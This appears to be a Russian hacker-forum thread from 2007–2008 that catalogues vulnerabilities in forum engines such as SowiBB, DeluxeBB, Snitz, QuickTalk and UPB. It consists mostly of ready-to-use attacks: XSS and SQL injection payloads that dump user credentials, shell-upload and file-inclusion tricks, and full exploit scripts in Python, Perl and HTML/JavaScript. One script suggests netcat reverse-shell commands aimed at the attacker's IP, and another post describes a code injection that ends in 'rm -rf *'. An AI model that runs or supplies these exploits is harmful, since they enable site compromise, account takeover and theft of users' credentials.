Форумы [Обзор уязвимостей в форумных движках]

Discussion in 'Уязвимости CMS/форумов' started by Grey, 15 Apr 2007.

  1. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    [Мини Обзор Уязвимостей SowiBB 3]

    сразу хочу сказать, что данный обзор по моему мнению не претендует на то чтобы ему присвоили статус "ВАЖНО" т.к. он слишком мал, а рассматриваемый форум не популярен. форум я выбирал не специально, а просто взял нижний из списка. все уязвимости находил сам.
    работал только с 1 персией форума, насколько я понял последней.
    сам форум на удивление дырявый..постю в надежде, что вдруг кому-нибудь пригодится.

    итак:

    SowiBB 3 RC 2

    ======================================================================
    если использовать в качестве ника
    "><script>alert(99)</script>
    то у вас будет вылетать алерт:
    при логине у вас будет вылетать алерт
    ======================================================================
    при попытке отправьть письмо на email такому пользователю будет вылетать алерт:
    пример:
    Code:
    /email.php?act=send&page=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    
    ======================================================================
    при попытке отправьть ПМ такому пользователю будет вылетать алерт:
    пример:
    Code:
    /pm-post.php?person=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
    ======================================================================
    также можно заполнить поля ICQ MSN AIM YAHOO "><script>alert(99)</script> при просмотре списка пользователей
    вылетает 4 алерта.
    ======================================================================
    если сознать тему с названием то при её просмотре как "снаружи" так и изнутри
    будет вылетать алерт
    ======================================================================
    при просмотре stats.php если у вас есть темы или ники в которых присуцтвует "><script>alert(99)</script> будет вылетать алерт.
    ======================================================================
    если при отправке ПМ в качестве темы сообщения указать "><script>alert(99)</script>
    то при чтении сообщения вылетит алерт.
    ======================================================================
    если на страничке добавления аватара в поле Location: написать "><script>alert(99)</script> - то он вылетит алерт
    ======================================================================
    ну и кароче как я понял везде где спетится скрипт - он выполняется, почти везде.
    ======================================================================
    заливаем шелл:
    в админке
    Skin Manager
    > Image Uploader

    расширение php пропускает. шелл будет лежать по адресу
    Code:
    /skins/DEFAULT(если заливали в default)/images/shell.php(если имя шелла shell.php
     
    2 people like this.
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Делать нечего,качнул дистрибутив и поставил на локалхост.После пятиминутного изучения сорцов стало ясно что там отстуствует фильтрация вообще

    Иньекция в логине , ' or 1=1/* , а также уязвимы сценарии lostpw.php , profile.php , forum.php , viewgroups.php , а также во всех скриптах на любой вкус - UPDATE / INSERT / SELECT xD . Куча xss , вот пару активных

    Code:
    [IM*G]http://" onmouseover="alert(/antichat/);"[/IMG]
    [UR*L]http://" onmouseover="alert(/antichat/);"[/URL]
    
    Но и этого мало , смотрим код залива аватара в профиле

    PHP:
    if (in_array($_FILES['avatarown']['type'], array('image/gif''image/jpeg''image/pjpeg''image/jpg')))
                {
                
    move_uploaded_file($_FILES['avatarown']['tmp_name'], "./uploads/avatar-".$username."-{$_FILES[avatarown][name]}");
                }
    Гениально - подменяем хттп запрос и указывая php файл для аплоада меняем в хттп заголовке application/octet-stream на например image/gif.Все
     
    6 people like this.
  3. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    cyberBB v. 0.4

    Скачать можно здесь:

    http://sourceforge.net/project/platformdownload.php?group_id=170656

    -------------------------------------------------------------------

    SQL инъкция:

    Code:
    http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,555,6,7/*
    Вывод логина и пароля пользователя:

    Code:
    http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(concat(username,char(58),password),0x71),0x71),6,7+from+users/*
    Получаем логин и хеш (мд5) пароля пользователя.
     
    1 person likes this.
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Pehota Forum 1.05 и Pehota_Forum v1.10b

    Скачать можно здесь: http://www.woweb.ru/load/56-1-0-4272

    ---------------------------------------------------------------------

    1. Заливка шелла:

    Регимся на форуме с ником blabla.php, вообщем так что бы ник (логин) заканчивался на .php

    Предположим shell.php

    Теперь заходим под этим логином, после чего идём в профиль выбираем загрузку аватары и заливаем шелл, всё шелл доступен по адресу:

    http://site.ru/forum/user/shell.php/avator_shell.php

    т.е. имя аватары формируется из avator_ + имя пользователя.

    2. Проверялось на версии Pehota_Forum v1.10b - возможность узнать логины и пароли пользователей.

    Из-за отсутствия .htaccess в "стандартном комплекте", можно просматривать файлы, файл с паролями:

    http://test.ru/data/user.dat

    3. Проверялось на версии Pehota_Forum v1.10b - повышение привилегий до админских.

    Регимся

    В поле Имя вводим login -вообщем тут не важно что
    В поле Пароль (ну и в подтверждение пароля) вводим pass,2,3,Admin,
    В поле с мылом вводим [email protected] - вообщем то что выглядит как нормальный адрес.

    Получаем аккаунт: login:pass с админскими правами.

    4. Проверялось на версии Pehota_Forum v1.10b - заливка шелла через админку

    В админке - Настройки

    Либо в поле Тем на страницу в admin.php:Ю либо в поле Тем на главную страницу: вписываем:

    10"; system($HTTP_GET_VARS['cmd']); $aaaaa="

    Получаем шелл:

    http://test.ru/params.php?cmd=[cmd]
     
    #24 Grey, 3 Oct 2007
    Last edited: 9 Dec 2007
    1 person likes this.
  5. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
  6. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    1. Tiny PHP Forum v3.61

    Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=98590

    Пассивные xss:

    Code:
    http://localhost/forum/header.php?siteName=<script>alert(document.cookie);</script>
    http://localhost/forum/header.php?siteURL="><script>alert(document.cookie);</script>
    Для поиска этого форумного двига вводим: Powered by TinyPHPForum v3.61

    Уязвимости для версии 3.60:

    http://www.securitylab.ru/vulnerability/243758.php

    Активная XSS ("1. Уязвимость существует из-за недостаточной") присутствует и в версии 3.61

    --------------------------------------------------------------------
    --------------------------------------------------------------------

    2. Nexus Forum

    Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=112138

    Отсутствие .htaccess:

    Из-за отсутствия в "комплекте форума" файла .htaccess, есть возможность просматривать пароли, пользователей:

    http://localhost/forum/users/Имя пользователя/pass.txt

    --------------------------------------------------------------------
    --------------------------------------------------------------------

    3. mForum

    Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=191244

    SQL инъекция:

    В скрипте register.php в запрос

    PHP:
    $query_username "INSERT INTO $table_users(username,password,email,date,ip) VALUES('$_POST[username]','$_POST[password]','$_POST[email]','$date','$ip')";
    можно внедрить sql инъекцию:

    Делаем следующее:

    Регимся на форуме (Register), в поле Username: вставляем 1','','',version(),'')/* остальные поля заполняем произвольно, но соблюдая требования (пароль > 4 символов, мыло по виду [email protected])
    После чего переходим к просмотру пользователей (Members list), там открываем профиль нашего пользователя (а его имя будет 1 (т.к. -->1<--','','',version(),'')/*)) и видим в поле "Registered:" вывод версии БД.
    К сожалению из-за ограничения на длину имени пользователя ввести более длинный запрос не получится.

    Для поиска этого форумного двига вводим: Powered by mForum
     
    3 people like this.
  7. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Уязвимость в FUDForum


    URL производителя: fudforum.org

    1. Уязвимость в admbrowse.php позволяет просматривать произвольные файлы:

    Code:
    admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]
    2. уязвимость в tmp_view.php позволяет просматривать произвольные файлы:

    Code:
    tmp_view.php?file=/etc/passwd
     
    1 person likes this.
  8. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities


    #download: http://www.qt-cute.org/download/qtf13.zip

    #vulncode:

    $strLang = $_GET["lang"];
    include("language/$strLang/qtf_lang_reg.inc");

    #exploits:

    Code:
    http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
     http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
     http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
    (c) milw0rm.com
     
  9. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
  10. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    DeluxeBB <= 1.09 Remote Admin Email Change Exploit

    Движок: DeluxeBB
    Версия: <= 1.9

    Code:
    #!/usr/bin/python
    #-*- coding: iso-8859-15 -*-
    '''
     _ __   _____  _____ _ __  
    | '_ \ / _ \ \/ / _ \ '_ \ 
    | | | |  __/>  <  __/ | | |
    |_| |_|\___/_/\_\___|_| |_|
    
    ------------------------------------------------------------------------------------------------
    § DeluxeBB 0day Remote Change Admin's credentials §
    ------------------------------------------------------------------------------------------------
    nexen
    ------------------------------------------------------------------------------------------------
    PoC / Bug Explanation: 
    When you update your profile,
    DeluxeBB execute a vulnerable query:
    
    $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");
    
    So, editing cookie "membercookie" you can change remote user's email.
    
    Enjoy ;)
    ------------------------------------------------------------------------------------------------
    
    '''
    
    
    import httplib, urllib, sys, md5
    from random import randint
    print "\n########################################################################################"
    print "                    DeluxeBB <= 1.09 Remote Admin's/User's Email Change                   "
    print "                                                                                          "
    print "                            Vulnerability Discovered By Nexen                             "          
    print "                        Greetz to The:Paradox that Coded the Exploit.                     "
    print "                                                                                          "
    print " Usage:                                                                                   " 
    print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags]                            " % (sys.argv[0])
    print "                                                                                          "	
    print " Additional Flags:                                                                        "	
    print " -id34 -passMypassword -port80                                                            "	
    print "                                                                                          "	
    print " Example:                                                                                 " 			
    print " python %s 127.0.0.1 admin /DeluxeBB/ [email protected] -port81                                   " % (sys.argv[0])
    print "                                                                                          "	
    print "########################################################################################\n"
    if len(sys.argv)<=4:	sys.exit()
    else:   print "[.]Exploit Starting."		
    
    target = sys.argv[1]
    admin_nick = sys.argv[2]
    path = sys.argv[3]
    real_email = sys.argv[4]
    
    botpass = "the-new-administrator"
    rand = randint(1, 99999)
    dn1 = 0
    dn2 = 0
    dn3 = 0
    
    try:
     for line in sys.argv[:]:
    	if line.find('-pass') != -1 and dn1 == 0:
    		upass = line.split('-pass')[1]
    		dn1 = 1
    	elif line.find('-pass') == -1 and dn1 == 0:
    		upass = ""
    	if line.find('-id') != -1 and dn2 == 0:
    		userid = line.split('-id')[1]
    		dn2 = 1
    	elif line.find('-id') == -1 and dn2 == 0:
    		userid = ""
    
    	if line.find('-port') != -1 and dn3 == 0:
    		port = line.split('-port')[1]
    		dn3 = 1
    	elif line.find('-port') == -1 and dn3 == 0:
    		port = "80"
    except:
    	sys.exit("[-]Some error in Additional Flag.")
    if upass=="" and userid != "" or userid == "" and upass != "": 
    	print "[-]Bad Additional flags -id -pass given, ignoring them." 
    	upass=""
    	userid=""
    ############################################################################################Trying to connect.
    try: 	
    	conn = httplib.HTTPConnection(target,port)
    	conn.request("GET", "")
    except: sys.exit("[-]Cannot connect. Check Target.")
    ############################################################################################Registering a new user if id or upass not defined
    try:
    	conn = httplib.HTTPConnection(target,port)
    	if upass == "" or userid == "":
    		conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%[email protected]' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
    		response = conn.getresponse()
    		cookies = response.getheader('set-cookie').split(";")
    		#print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
    		print "[.]Registering a new user. -->",response.status, response.reason
    		conn.close()
    ############################################################################################Getting memberid in Cookies
    		for line in cookies[:]:
    			if line.find('memberid') != -1:
    				mid = line.split('memberid=')[1]
    ############################################################################################Isset like starts
    		try: mid
    		except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
    except AttributeError:
    	sys.exit("[-]AttributeError Check your Target/path.")
    ############################################################################################Doing some Md5
    if upass=="" or userid=="":
    	hash = md5.new()
    	hash.update(botpass)
    	passmd5 = hash.hexdigest()
    else:
    	hash = md5.new()
    	hash.update(upass)
    	passmd5 = hash.hexdigest()
    	mid = userid
    ############################################################################################Updating "victim" email in Profile
    conn = httplib.HTTPConnection(target,port)
    conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
    response = conn.getresponse()
    print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
    conn.close()
    print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"
    
    # milw0rm.com [2007-11-26]
     
  11. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    SNITZ FORUMS 2000​


    Сайт: http://forum.snitz.com/
    Описание: Форум малораспространенный, но все же иногда приходится с ним сталкиваться.

    Даты выхода версий: http://sourceforge.net/project/showfiles.php?group_id=8812&package_id=8895

    P.S. google.ru: Результаты 1 - 10 из примерно 2 270 000 для "Powered by Snitz"



    Snitz2000 3.1 SR4
    16 февраля 2007

    SQL инъекция в файле pop_profile.asp

    ссылка: http://www.milw0rm.com/exploits/3321

    Snitz2000 (3.3 - 3.3.03)
    20 апреля 2002

    SQL инъекция в members.asp

    Code:
    /members.asp?mode=search&M_NAME=XXXX%25')%20UNION%20SELECT%20MEMBER_ID,%20M_STATUS,%20M_NAME%20%2B%20'/'%20%2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%20M_EMAIL,%20M_COUNTRY,%20M_HOMEPAGE,%20M_ICQ,%20M_YAHOO,%20M_AIM,%20M_TITLE,%20M_POSTS,%20M_LASTPOSTDATE,%20M_LASTHEREDATE,%20M_DATE,%20M_STATE%20FROM%20FORUM_MEMBERS%20WHERE%20(M_NAME%20LIKE%20'&initial=1&method=
    Snitz2000 3.3.03
    13 мая 2003

    SQL инъекция в register.asp
    Не фильтруется поле email. Возможен запуск xp_cmdshell (пользователь "sa")

    Сплоит:
    Code:
    #!/usr/bin/perl
    
    use Socket;
    
    print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
    print "You accept full responsibility for your actions by using this script.\n";
    print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";
    
    print "\nWeb server? [www.enterthegame.com]: ";
    my $webserver = <STDIN>;
    chomp $webserver;
    if( $webserver eq "" )
    {
    	$webserver = "www.enterthegame.com";
    }
    
    print "\nWeb server port? [80]: ";
    my $port = <STDIN>;
    chomp $port;
    if( $port eq "" )
    {
    	$port = 80;
    }
    
    print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
    my $path = <STDIN>;
    chomp $path;
    if( $path eq "" )
    {
    	$path = "/forum/register.asp";
    }
    
    print "\nCommand to execute non-interactively\n";
    print "     Example commands: tftp -i Your.IP.Here GET nc.exe\n";
    print "                       nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
    print "     or:               net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
    print "Your command: ";
    my $command = <STDIN>;
    chomp $command;
    $command =~ s/\ /\%20/g;
    
    if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
    {
    	print "Error connecting to $webserver\n";
    	exit( 0 );
    }
    else
    {
    	my $data1 = $path . "\?mode\=DoIt";
    	my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz";
    	my $length = length( $data2 );
    
    	print FILEHANDLE "POST $data1 HTTP/1.1\n";
    	if( $port == 80 )
    	{
    		print FILEHANDLE "Host: $webserver\n";
    	}
    	else
    	{
    		print FILEHANDLE "Host: $webserver:$port\n";
    	}
    	print FILEHANDLE "Accept: */*\n";
    	print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
    	print FILEHANDLE "Keep-Alive: 300\n";
    	print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
    	print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
    	print FILEHANDLE "Content-Length: $length\n\n";
    	print FILEHANDLE "$data2";
    
    	print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
    	print "netcat, hit \"enter\" a couple of times to be safe.\n\n";
    
    	close( FILEHANDLE );
    }
    
    sub open_TCP
    {
    	my( $FS, $dest, $port ) = @_;
    
    	my $proto = getprotobyname( 'tcp' );
    	socket( $FS, PF_INET, SOCK_STREAM, $proto );
    	my $sin = sockaddr_in( $port, inet_aton( $dest ));
    	connect( $FS, $sin ) || return undef;
    
    	my $old_fh = select( $FS );
    	$| = 1;
    	select( $old_fh );
    	return 1;
    }
    Snitz2000 3.4 (?)
    18 апреля 2003

    XSS. Обходятся существующие фильтры символом табуляции (0x09)

    Например:
    Code:
    [img]jav     asc     ript:alert%28document.cookie%29[/img]
    Snitz2000 3.4.03

    1). Сброс пароля у любого пользователя
    21 июня 2003

    Запрашиваем "забытый пароль". Сохраняем страницу на HDD. Меняем ID пользователя в блокноте (например) на любой существующий. Жмем кнопку. Все

    2). XSS
    21 июня 2003

    Code:
    http://path/search.asp?Search="><script>alert()</script>
    Snitz2000 3.4.04

    1). XSS в файле register.asp
    16 июня 2004

    При регистрации нового пользователя/ редактировании аккаунта можно ввести в поле E-mail address
    Code:
    p@p" onMouseOver="alert(document.cookie); 
    2). Http response splitting
    16 сентября 2004

    Сплоит:
    Code:
    POST /down.asp HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-length: 134
    
    location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Preved</html>
    Snitz2000 3.4.05

    1). SQL инъекция в файле inc_header.asp
    11 июня 2006

    бажный кусок кода:
    Code:
    if strGroupCategories = "1" then
    if Request.QueryString("Group") = "" then
    if Request.Cookies(strCookieURL & "GROUP") = "" Then
    Group = 2
    else
    Group = Request.Cookies(strCookieURL & "GROUP")
    end if
    else
    Group = cLng(Request.QueryString("Group"))
    end if
    'set default
    Session(strCookieURL & "GROUP_ICON") = "icon_group_categories.gif"
    Session(strCookieURL & "GROUP_IMAGE") = strTitleImage
    'Forum_SQL - Group exists ?
    strSql = "SELECT GROUP_ID, GROUP_NAME, GROUP_ICON, GROUP_IMAGE "
    strSql = strSql & " FROM " & strTablePrefix & "GROUP_NAMES "
    strSql = strSql & " WHERE GROUP_ID = " & Group
    set rs2 = my_Conn.Execute (strSql) 
    Сплоита нет

    2). XSS в файле post.asp
    2 ноября 2005

    пример:
    Code:
    http://[host]/snitz/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&type=[code]
    Snitz2000 3.4.06

    1). SQL инъекция в active.asp.
    5 декабря 2007

    Пользователь может получить привилегии администратора.

    HTML-сплоит для поднятия прав (необходимо зарегистрироваться на форуме, зайти на него, исправить [VICTIM URL] на работающий адрес, ну и запустить его):
    Code:
    <form action="http://[VICTIM URL]/active.asp" method="post">
    Query: <input type="text" name="BuildTime" value="',M_Level='3" /><br />
    DefaultValues: <input type="text" name="AllRead" value="Y" /><br />
    Submit: <input type="submit" name="submit" value="Submit" /><br />
    </form> 
    2). XSS
    14 сентября 2006

    Code:
    http://target.com/[path]/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder="><script>function%20xssbaslat(){alert("Xss%20Here");}</script><body%20onload="xssbaslat()">
    3). возможная XSS в файле pop_profile.asp.
    7 марта 2007

    Доказательств нет

    ссылка: http://securityvulns.ru/CVE-2007-1374.html

    Snitz2000 3.4 Avatar MOD 1.3
    18 мая 2006

    Загрузка произвольных файлов (шеллов и тд) в обход ограничений, указанных в моде (jpg, jpeg, gif, png), используюя POISON NULL BYTE (то есть %00)

    ________________________________________________
    3.4.06 - последняя версия
    При обнаружении ошибок и неточностей, а также если есть, чем дополнить, - прошу в ПМ (флудить тут не надо) пост восстановлен
     
    3 people like this.
  12. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    MyPHP Forum Vulnerability

    MyPHP Forum Vulnerability


    Exploits/Shellcode

    MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities
    MyPHP Forum <= 3.0 (Final) Remote SQL Injection Vulnerability

    SQL-инъекция во многих сценариях в MyPHP 1.0 форуме
    Описание:
    Обнаруженная уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды на системе.

    Exploit:

    Code:
    /member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password,
    status, email, website, aim, msn, location, sig, regdate, posts,
     password as yahoo FROM nb_member WHERE uid='1
     
    1 person likes this.
  13. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    DeluxeBB 1.1 XSS Vulnerability

    DeluxeBB 1.1 XSS Vulnerability

    PoC:

    Code:
    http://www.site.com/path/templates/default/admincp/attachments_header.php?lang_li
    stofmatches=<script>alert("iddqd")</script>
    
     
  14. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    tinyBB v0.2 Message Board Remote File Include

    Vendor: http://php.arsivimiz.com/indir.php?id=335

    Remote File Include

    Vulnerable: tinyBB v0.2


    PoC:

    Code:
    http://victim.Com/ScriptPath/footers.php?tinybb_footers=[shell]
    
     
    #34 iddqd, 1 Feb 2008
    Last edited: 3 Feb 2008
    3 people like this.
  15. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Уязвимости QuickTalk Forum

    Уязвимости QuickTalk Forum


    URL производителя: http://www.qt-cute.org/

    QuickTalk Forum <= 1.6 Blind SQL Injection Exploit

    Code:
    <html>
    <head>
    <title>QuickTalk Forum <= 1.6 Blind SQL Injection Exploit</title>
    <script language="Javascript" type="text/javascript">
    /*
        -----------------------------------------------------------------------------------------------
        - QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
        - Info ---------------------------------------------------------------------------------------
        - Author: t0pP8uZz & xprog -----------------------------------------------------------
        - Exploit Coded By t0pP8uZz ---------------------------------------------------------
        - Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------
        ----------------------------------------------------------------------------------------------
        - Passwords ARE IN MD5           ----------------------------------------------------
        - Peace -----------------------------------------------------------------------------------
        ---------------------------------------------------------------------------------------------
    */
    
    var site, uid, res = "";
    
    function Start() {
        
        site = document.getElementById("site").value;
        uid  = document.getElementById("pid").value;
        document.getElementById("output").value = "Exploiting, Please Wait..";
        
        Main(1, 48);
    }
    
    function Main(substr, num) {
    
        var xmlhttp = false;
        var url     = site+"/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id="+uid+" LIMIT 0,1),"+substr+",1))="+num+"/*";
        
        try {
            xmlhttp = new XMLHttpRequest();
        } catch(e) { alert("Unsupported Browser! Run Exploit In Mozilla Firefox!"); }
        
        if(xmlhttp) {
        
            netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
            xmlhttp.onreadystatechange = function() {
            
                if(xmlhttp.readyState == 4) {
                
                    var content = xmlhttp.responseText;
                    
                    var ele = document.getElementById("output");
                    if(!content.match(/0 Found/i)) {
                        res += String.fromCharCode(num);
                        ele.value = res;
                        num = 48;
                        substr++;
                    }
                    else {
                        if(num == 59) { num = 96; }
                        else { num++; }
                    }
                    
                    if(res.length >= 32) { alert("Exploitation Successfull!. Admin MD5 Hash: "+res); return true; }
                    Main(substr, num)
                }
            };
            xmlhttp.open("GET", url, true);
            xmlhttp.send(null);
        }
    }
    
    </script>
    <style type="text/css">
    <!--
    .style1{color: #CC0000}
    .style2 { color: #000000;  font-size: 12px;}
    .style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
    .style4 {color: #FF0000; font-size: 10px;}
    -->
    </style>
    </head>
    <body>
    <p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p>
    <p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p>
    <p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p>
    <p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p>
    <p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done)
    <p class="style2">Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords</p>
    <p class="style4">Coded By t0pP8uZz - h4ck-y0u.org</p>
    </body>
    </html>

    Инклюдинг локальных файлов в QuickTalk forum

    Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.

    Code:
    http://[host]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00 
    http://[host]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00 
    http://[host]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
     
    3 people like this.
  16. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys
    HTML:
    -[*]+================================================================================+[*]-
    -[*]+    Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys      +[*]-
    -[*]+================================================================================+[*]-
    
    By : Stack
     
    http://alstrasoft.com/forum-pay-per-post-exchange.htm
    Cost (single license): $175 (with 1 year updates)
    Language: PHP
    Platform: Unix, Win NT
    Release: Dec 23, 2007
    Current Version: 2.0
    Last Update: Mar 10, 2008
    
    exploit :
           
    http://site.co.il/index.php?menu=forum_catview&catid=-1/**/UNION/**/SELECT/**/1,2,3,database(),5,version(),7/*
    
    # milw0rm.com [2008-06-15]
    
    milw0rm.com [2008-06-15]
     
    1 person likes this.
  17. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    [Обзор уязвимостей Ultimate PHP Board]

    www.myupb.com

    UBP Version <=1.9.6

    Заводим себе админа
    При установке форума заводится акаунт admin с уровнем доступа admin, но при повторной регистрации акаунта admin (но уже через register.php) скрипт не ругается и регистрирует его, но с правами member. В больших форумах (с большим числом пользователей) вероятна атака спуфинга (запрос паролей и другой информации от пользователей под видом администратора).

    Bесь список юзеров, пароли ( к сожалению зашифрованные) почту юзера, дату реги, итп.
    Code:
    http://site.com/path_to_forum/db/users.dat
    Отправка письма: от user к user2
    Code:
    http://site.com/path_to_file/send.
    php?power_env=lwbteam&user_env=[user]&pass_env=lwbteam&id_env=[user2]&id=[user2]&message=LwBSecurityTeam 
    Возможность Залогинится под Админом или любым другим юзером
    Code:
    http://site.com/forum/admin_members.php?power_env=123&user_env=Admin&pass_env=123&id_env=Admin&lastvisit=0
    Выполнение Кода
    UPB протоколирует некоторую информацию о посетителях [такую как REMOTE_ADDR и HTTP_USER_AGENT ] в текстовый файл в директории db, который называется iplog. Затем в панели администратора, администратор форума может вызвать admin_iplog.php, который просто подключает iplog. Например:

    e@some_host$ telnet hostname 80
    Connected to hostname at 80
    GET /board/index.php HTTP/1.0
    User-Agent: <? phpinfo(); ?>

    когда администратор вызовет admin_iplog.php, ваш код php будет выполнен.
    Пример:
    1. <? system( "echo \'hacked\' > ../index.html" ); ?>
    дефейсит главную страницу форума.
    2. создаст tcsh.php с правами httpd в корневой директории веб-сайта. затем вам просто нужно будет зайти на http://hostname/tcsh.php?cmd=rm -rf *
    после внедрения кода через поле User-Agent вам нужно подождать пока администратор посмотрит admin_iplog.php.

    XSS
    Code:
    http://[target]/upb/login.php?ref=%27%3E%3Cscrip t%3Ealert(document.cookie)%3C/script%3E 
    
    http://[target]/upb/viewtopic.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
    
    http://[target]/upb/viewtopic.php?id=1&t_id=1&page= %27%3E%3Cscript%3Ealert( document.cookie)%3C/script%3E
    
    http://[target]/upb/profile.php?action=get&id=%27 %3E%3Cscript%3Ealert(document.cookie) %3C/script%3E
    
    http://[target]/upb/newpost.php?id= 1&t=1&t_id= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E
    
    http://[target]/upb/newpost.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
    
    http://[ta rget]/upb/email.php?id=%27%3E%3C script%3Ealert(document.cookies)%3C/script%3E
    
    http://[target]/upb/icq.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/scr ipt%3E
    
    http://[target]/upb/aol.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
    
    http://[target]/upb/getpass.php?ref=%27%3E%3Cscript %3Ealert(d ocument.cookie)%3C/script%3E
    
    http://[target]/upb/search.php?step=3&sText= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E 
    
